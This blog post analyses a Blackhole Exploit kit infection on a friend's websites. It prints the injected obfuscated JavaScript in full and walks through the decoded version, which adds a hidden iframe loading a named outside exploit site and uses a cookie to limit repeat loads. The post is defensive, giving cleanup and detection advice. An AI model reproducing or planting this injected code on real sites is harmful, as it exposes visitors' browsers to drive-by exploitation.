Blackhole Exploit kit type 2726

Yesterday, a friend contacted me because AVG found a Blackhole Exploit kit type 2726 on two of his sites. This post reports my investigation on the issue.

Getting rid of the exploit

It turns out that somebody hacked his way in my friend's server and injected javascript code in them. If this happended to you, start by changing your passwords.

Once your password are changed, scan all your html pages for javascript code that looks like :

<script type="text/javascript">/* around a thousand spaces here that were edited out*/try{if(window.document)--document.getElementById('12')}catch(qq){if(qq!=null)ss=eval("St"+"ring");}a="74837c7182777d7c2e88888874747436372e89182e846f802e75882e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b7335374918182e75883c8180712e4b2e357682827e483d3d8585853c7f8377716f7b7e6f7c776f3c77823d7e807d846f3d807c5160547b67743c7e767e3549182e75883c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a8382733549182e75883c8182877a733c707d807273802e4b2e353e3549182e75883c8182877a733c7673777576822e4b2e35477e863549182e75883c8182877a733c85777282762e4b2e35457e863549182e75883c8182877a733c7a7374822e4b2e353f7e863549182e75883c8182877a733c827d7e2e4b2e353f7e86354918182e77742e362f727d71837b737c823c757382537a737b737c8250875772363575883537372e89182e727d71837b737c823c858077827336354a7277842e77724b6a3575886a354c4a3d7277844c353749182e727d71837b737c823c757382537a737b737c82508757723635758835373c6f7e7e737c725176777a723675883749182e8b188b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e89182e846f802e827d726f872e4b2e7c73852e526f8273363749182e846f802e73867e7780732e4b2e7c73852e526f8273363749182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f49182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f87813749182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a837337182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e30303749188b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e89182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e3749182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f49182e77742e362e362e2f81826f80822e372e3434182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e37182e89182e80738283807c2e7c837a7a49182e8b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a49182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e3749182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c75827649182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e3749188b1877742e367c6f8477756f827d803c717d7d797773537c6f707a737237188918777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491818888888747474363749188b188b18";z=[];for(i=0;i<a.length;i+=2){z.push(parseInt(a.substr(i,2),16)-14);}eval(ss["fr"+"omCharCode"].apply(ss,z));</script>

In my case, this code was padded with a lot of white spaces. Be sure to scroll to the far right of your html to spot the code.

What was going on

To understand what was going on, I reformatted the code (comments are mine) :

try{
    if(window.document)
        // throws an exception because we cannot call -- on the return value of document.getElementById
        --document.getElementById('12')
} catch(qq) { 
    if(qq!=null)
        // store the String function in ss
        ss=eval("St"+"ring");
}

// this is a string of bytes encoded in hexadecimal (74 83 7C ...)
a="74837c7182777d7c2e88888874747436372e89182e846f802e75882e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b7335374918182e75883c8180712e4b2e357682827e483d3d8585853c7f8377716f7b7e6f7c776f3c77823d7e807d846f3d807c5160547b67743c7e767e3549182e75883c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a8382733549182e75883c8182877a733c707d807273802e4b2e353e3549182e75883c8182877a733c7673777576822e4b2e35477e863549182e75883c8182877a733c85777282762e4b2e35457e863549182e75883c8182877a733c7a7374822e4b2e353f7e863549182e75883c8182877a733c827d7e2e4b2e353f7e86354918182e77742e362f727d71837b737c823c757382537a737b737c8250875772363575883537372e89182e727d71837b737c823c858077827336354a7277842e77724b6a3575886a354c4a3d7277844c353749182e727d71837b737c823c757382537a737b737c82508757723635758835373c6f7e7e737c725176777a723675883749182e8b188b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e89182e846f802e827d726f872e4b2e7c73852e526f8273363749182e846f802e73867e7780732e4b2e7c73852e526f8273363749182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f49182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f87813749182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a837337182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e30303749188b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e89182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e3749182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f49182e77742e362e362e2f81826f80822e372e3434182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e37182e89182e80738283807c2e7c837a7a49182e8b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a49182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e3749182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c75827649182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e3749188b1877742e367c6f8477756f827d803c717d7d797773537c6f707a737237188918777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491818888888747474363749188b188b18";

// store each byte value in the z array
z=[];
for(i=0;i<a.length;i+=2) {
    // a.substr(i, 2) : get ith byte
    // parseInt(..., 16) : get the value of the byte 
    // ... - 14 : substract an offset that was used to obfuscate a
    z.push(parseInt(a.substr(i,2),16)-14);
}

// this line is the same as eval(String.fromCharCode(z)), it converts each z into a runnable program
eval(ss["fr"+"omCharCode"].apply(ss,z));

This code decrypt the program stored in a and runs it with eval. Let's look at the program encrypted in a (comments are mine) :

// Creates an iframe pointing to http://www.quicampania.it/prova/rnCRFmYf.php and add it to the page
function zzzfff() {
    var gz = document.createElement('iframe');

    // load a stinky site the iframe
    gz.src = 'http://www.quicampania.it/prova/rnCRFmYf.php';
    gz.style.position = 'absolute';
    gz.style.border = '0';
    gz.style.height = '9px';
    gz.style.width = '7px';
    gz.style.left = '1px';
    gz.style.top = '1px';

    // add the iframe to the document
    if (!document.getElementById('gz')) {
        document.write('<div id=\'gz\'></div>');
        document.getElementById('gz').appendChild(gz);
    }
}

// Set a cookie value
function SetCookie(cookieName, cookieValue, nDays, path) {
    var today = new Date();
    var expire = new Date();
    if (nDays==null || nDays==0) nDays=1;
    expire.setTime(today.getTime() + 3600000*24*nDays);
    document.cookie = cookieName+"="+escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

// Get a cookie value
function GetCookie( name ) {
    var start = document.cookie.indexOf( name + "=" );
    var len = start + name.length + 1;
    if ( (!start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
        return null;
    }

    if ( start == -1 ) return null;
    var end = document.cookie.indexOf( ";", len );
    if ( end == -1 ) end = document.cookie.length;
    return unescape( document.cookie.substring( len, end ) );
}

// This is the code that is executed.
//
// On the first visit, it sets 'visited_uq' cookie and calls
// zzzfff() to inject the iframe. This cookie expires after 1
// day. On the following visits, the iframe is only injected if
// the cookie is not expired.
//
// I guess hackers are scarce on ressource and don't like to
// hit their server too often...
if (navigator.cookieEnabled) {
    if(GetCookie('visited_uq')==55){
    } else {
        SetCookie('visited_uq', '55', '1', '/');
        zzzfff();
    }
}

It turns out this is an iframe injection. Once loaded in your users browser, the injected iframe can load sites exploiting security breach in your users browser to take control of their system.

Bottom line, I helped my friend and enjoyed a little programming puzzle :)

Comments